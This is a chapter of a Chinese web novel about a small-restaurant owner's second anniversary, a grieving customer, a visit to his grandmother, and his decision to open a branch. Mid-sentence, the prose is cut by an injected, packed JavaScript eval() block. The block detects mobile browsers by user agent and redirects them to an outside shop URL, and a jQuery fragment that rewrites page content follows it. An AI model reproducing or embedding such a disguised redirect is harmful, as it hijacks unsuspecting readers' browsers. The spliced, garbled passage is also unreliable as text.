八月的时候，房寨的店开了整整两年了。
两年前的八月，他在城南翠屏路租下了这个二十平米的小店，刷了墙，买了二手桌椅，自己写了招牌，开了张。那时候他什么都没有，只有一双手和系统给的那些技能。两年后的今天，他有了稳定的客源，有了靠谱的员工，有了一面墙的画，有了一个塞满文件的柜子。他变了，店也变了，但有一件事没变——他还在做饭，站在那个灶台前，握着那把锅铲。
他把这件事在群里说了一下：“这个月开店两周年，全场八折，酸梅汤免费。”
群里炸了。
“两周年了？时间过得真快！”
“我两年前第一天就来了，还记得那时候墙还没刷呢。”
“我也记得！那时候菜单还是手写的，字歪歪扭扭的。”
“寨哥儿，两周年快乐！”
房寨看着这些消息，笑了。有人记得他刚开店时候的样子，有人记得他的墙没刷、桌子是二手的、菜单是手写的。那些他觉得不够好的、想藏起来的东西，在别人眼里是回忆，是故事，是他一路走来的痕迹。
中午的时候，店里来了很多人。有的是老客人，从开店第一天就来的，每周都来，从来没断过。有的是新客人，听说了两周年活动，专门来凑热闹的。有的是群里的，没见过面，但一直在网上支持他，今天第一次来店里。
一个年轻姑娘走到厨房门口，冲房寨喊了一声：“寨哥儿，我从两年前就关注你了，今天是第一次来！”
房寨从厨房里探出头，看着她。“欢迎欢迎，想吃什么？”
“葱油拌面！我在群里看你发的照片馋了两年了！”
房寨笑了，给她做了一碗葱油拌面，多加了一勺葱油，多加了一把葱花。姑娘吃了一口，眼眶红了。
“好吃吗？”房寨问。
“好吃。”姑娘吸了吸鼻子，“比我想的还好吃。”
房寨觉得，这就是他开店的意义。有人馋了两年的面，终于吃到了，觉得好吃，觉得值得。这比任何夸奖都让他高兴。
晚上关店之后，房寨一个人坐在店里，把那本记账本从头到尾翻了一遍。从开店第一天到现在，每一笔收入、每一笔支出、每一天的净赚，他都记得清清楚楚。他看着那些数字，从一两百到四五百，从五六样到十几样，从一个人到四个人。数字不会骗人，数字记录了他的每一步，每一次进步，每一次挫折，每一次爬起。
他翻到第一页，上面写着：开店第一天，净赚820。旁边画了一个笑脸，歪歪扭扭的，像个小孩画的。他看着那个笑脸，笑了。那时候他画笑脸还画不好，现在他画笑脸已经很熟练了，一笔就能画出来。
他把记账本合上，放回文件柜里。柜子里整整齐齐的，发票、收据、名片、请柬、小月的画、张建国的对联、客人们写的纸条，分门别类地放好。他打开最下面一层抽屉，里面放着一个信封，鼓鼓囊囊的，里面装着王丽还的钱、张建国给的钱、客人们送的红包。他从来没动过这些钱，他想等小月长大了，或者需要的时候，把这些钱给她。
他关上抽屉，站起来，关了灯，锁了门。
大橘猫在楼道口等他，看到他来了，喵喵叫着跑过来，蹭他的腿。他蹲下来，摸了摸它的头。
“你知道吗，今天两周年了。”
猫喵了一声，好像在说“我知道”。
“两年了，真快。”
猫又喵了一声，好像在说“是啊”。
房寨笑了笑，站起来，上楼去了。
八月的第二周，店里发生了一件小事。
一个年轻人在店里吃凉面的时候，手机响了。他接起来，听了一会儿，然后哭了。不是那种大声的哭，是那种默默的流泪，眼泪一颗一颗地往下掉，砸在碗里，把凉面的汤汁都冲淡了。
店里的客人都在看他，有人想过去问，又怕唐突。房寨从厨房里出来，走到他面前，蹲下来。
“怎么了？”
年轻人抬起头，看着他，眼睛红红的。“我奶奶走了。”
房寨愣了一下。
“刚才我妈打电话来说的。”年轻人用手背擦了擦眼泪，“我回不去了，我在外地，赶不回去了。”
房寨站起来，回到厨房，做了一碗阳春面，端到他面前。
“这碗我请你。你慢慢吃。”
年轻人看着那碗面，又哭了。他拿起筷子，挑了一箸面，送进嘴里，嚼了嚼，又吃了一口。他吃得很慢，一口一口的，像在吃一种很珍贵的东西。
“好吃吗？”房寨问。
“好吃。”年轻人说，“和我奶奶做的一个味道。”
房寨没说话，拍了拍他的肩膀，转身回了厨房。
年轻人把那碗面吃完了，汤也喝了。他站起来，走到厨房门口，看着房寨。
“老板，谢谢你。”
“不客气。”
“我以后会常来的。”
“好。”
年轻人走了。房寨站在厨房门口，看着他的背影消失在街角。他的背很直，走路的步子很稳，但房寨觉得那个背影很轻，像一张纸，风一吹就会飘走。他想起奶奶，想起奶奶一个人在家，想起奶奶说“我想你了”，想起奶奶站在村口送他的样子。他的眼眶红了，但没哭。他掏出手机，给奶奶打了个电话。响了好几声才接，奶奶的声音从听筒里传出来，带着老家的口音，听起来很亲切。
“奶奶，你吃饭了吗？”
“吃了。”
“吃的什么？”
“面条。”
“什么面？”
“就是面条。”奶奶说，“你问这么细干什么？”
房寨笑了。“奶奶，我想你了。”
电话那头沉默了一会儿。
“我也想你了。”奶奶说，声音很小，像怕被别人听到。
八月的第三周，房寨回了一趟老家。
这次不是专门回去的，是去县城办点事，顺便回村里看看奶奶。他提前一天走的，坐下午的火车，到县城的时候天已经黑了，住了一晚，第二天一早坐大巴回镇上，再坐摩的回村里。马师傅还是那辆摩托，还是突突突的声音，但车更旧了，排气管用铁丝绑着，后视镜只剩一个。
“房寨，你奶奶身体还好吧？”马师傅问。
“还行，就是膝盖不好。”
“老人嘛，都这样。我老娘也是，膝盖不行，走路要拄拐杖。”
到了家，奶奶正在院子里洗衣服。她蹲在地上，面前是一盆水、一块搓衣板、一堆衣服。她的手泡在水里，红红的，皱皱的，像泡发了的木耳。听到脚步声，她抬起头，看到房寨，笑了。
“回来了？”
“回来了。”
“吃饭了没有？”
“吃了。”
“骗人。”奶奶站起来，在围裙上擦了擦手，往厨房走，“我给你做。”
房寨跟在她后面，进了厨房。厨房很小，灶台很矮，奶奶弯着腰炒菜，背驼得很厉害，像一张弓。他走过去，接过锅铲。
“我来。”
奶奶没争，退到一边，看着他炒。房寨炒了一盘鸡蛋、一盘青菜、一碗汤。菜不多，但都是热的，冒着白气。两个人坐在院子里吃，阳光很好，照在菜上，照在碗上，照在奶奶的白发上。
“奶奶，我跟你说个事。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17616454|203000||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“什么事？”
“美食广场的经理来找我了，问我要不要去开分店。”
奶奶的手停了一下。
“你怎么想的？”
“我不知道。”
“你想去吗？”
房寨想了想。想去吗？他现在的店虽然小，但稳。去了美食广场，人流量大了，收入高了，但风险也大了。他不怕风险，他怕的是变了。变了之后，他还是他吗？他的店还是他的店吗？
“我想去，又不想去。”房寨说。
奶奶看着他，看了几秒。
“寨儿，你还记得你爷爷吗？”
房寨愣了一下。爷爷在他很小的时候就走了，他只有一点模糊的记忆，一个高大的背影，一双粗糙的大手，还有一碗面。
“不太记得了。”
“你爷爷年轻的时候，是个木匠。手艺很好，方圆几十里的人都找他做家具。”奶奶说，“后来镇上开了个家具厂，机器做的家具又便宜又快，没人找他做了。有人劝他去厂里上班，他不去。他说，机器做的家具不是家具，是木头。人做的家具才是家具，有温度。”
房寨听着，没说话。
“你爷爷后来没去厂里，一直在家做木工，做到老，做到手抖了做不动了。”奶奶说，“他做的那些家具，现在还在用。那张桌子，那个柜子，那把椅子，都是他做的。用了几十年了，还是好好的。”
奶奶看着房寨。
“寨儿，你想做什么，就去做。但别忘了，你做的饭，是你做的，不是机器做的。”
房寨看着奶奶，喉咙很紧。他想起自己刚开店的时候，菜单是手写的，字歪歪扭扭的，但客人说“有温度”。他想起自己站在灶台前炒菜，汗水从额头上流下来，滴在围裙上，客人说“能吃到你的用心”。这些东西，是机器给不了的，是系统给不了的，是他用双手、用汗水、用心一点一点做出来的。
“奶奶，我懂了。”房寨说。
奶奶笑了，笑得很开心。
第二天一早，房寨要走了。奶奶送他到村口，穿着那件紫棉袄，头发盘得整整齐齐，站在树下，风吹着她的白发。她这次没哭，笑着冲他挥手。
“下个月还回来？”
“回来。”
“别忘了。”
“忘不了。”
房寨上了摩的，马师傅发动车子，突突突的。他回头看了一眼，奶奶还站在原地，手举着，一直没放下。
他转过头，风打在脸上，凉飕飕的。他的眼眶红了，但没哭。
回到城里，房寨直接去了店里。张建国在厨房里忙活，小赵在外面点单，周阿姨在洗碗。一切正常，和他走的时候一样。他走进厨房，系上围裙，开始炒菜。灶火很旺，锅里的油热了，菜倒进去，刺啦一声，香味炸开。
“寨哥，你奶奶怎么样？”张建国问。
“还行，就是膝盖不好。”
“老人嘛，都这样。”
房寨点了点头，没再说话。他炒菜的时候很专注，不想别的事，只想着锅里的菜。盐放多少，火候多大，什么时候出锅。这些事占据了他的大脑，让他没空想别的。
晚上关店之后，房寨一个人坐在店里，给美食广场的周经理打了个电话。
“周经理，那个铺位，我要了。”
周经理在电话那头笑了。“欢迎你，寨哥儿。”
房寨挂了电话，坐在那里，看着窗外的路灯。路灯的光很黄，照在玻璃上，映出他的影子，模模糊糊的，看不清脸。他不知道自己这个决定是对是错，但他知道，他做的饭，是他做的，不是机器做的。这一点，不管他去哪里，都不会变。